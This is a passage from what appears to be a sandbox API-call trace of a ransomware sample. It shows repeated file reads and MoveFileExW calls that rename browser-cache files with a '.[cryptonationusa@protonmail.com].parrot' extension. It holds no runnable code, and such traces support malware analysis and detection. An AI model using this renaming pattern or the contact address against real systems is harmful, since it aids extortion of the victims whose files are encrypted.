liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.085] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.087] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.089] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8f9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8f9, lpOverlapped=0x0) returned 1 [0082.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.092] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.094] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.094] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9b7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9b7, lpOverlapped=0x0) returned 1 [0082.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.095] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.095] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.097] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.098] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.126] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x36e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x36e, lpOverlapped=0x0) returned 1 [0082.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.127] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.130] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.130] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.132] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23f, lpOverlapped=0x0) returned 1 [0082.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.133] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.136] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.136] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.137] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2cb0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2cb0, lpOverlapped=0x0) returned 1 [0082.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.139] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.141] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.143] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x228c, lpOverlapped=0x0) returned 1 [0082.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.144] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.147] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaf13, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaf13, lpOverlapped=0x0) returned 1 [0082.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.152] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.158] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.158] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.160] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x30be, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x30be, lpOverlapped=0x0) returned 1 [0082.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.163] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.183] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.185] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x254f1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x254f1, lpOverlapped=0x0) returned 1 [0082.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.201] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.205] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.205] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.207] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x211dd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x211dd, lpOverlapped=0x0) returned 1 [0082.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.223] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[1].loaded_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\cb=gapi[1].loaded_0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[1].loaded_0.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\cb=gapi[1].loaded_0.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.229] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x653e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x653e, lpOverlapped=0x0) returned 1 [0082.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.233] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.236] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[2].loaded_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\cb=gapi[2].loaded_0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[2].loaded_0.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\cb=gapi[2].loaded_0.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.239] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.239] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.241] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.241] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a03f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2a03f, lpOverlapped=0x0) returned 1 [0082.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.251] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.260] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.264] SetFilePointerEx (in: hFile=0x27c, 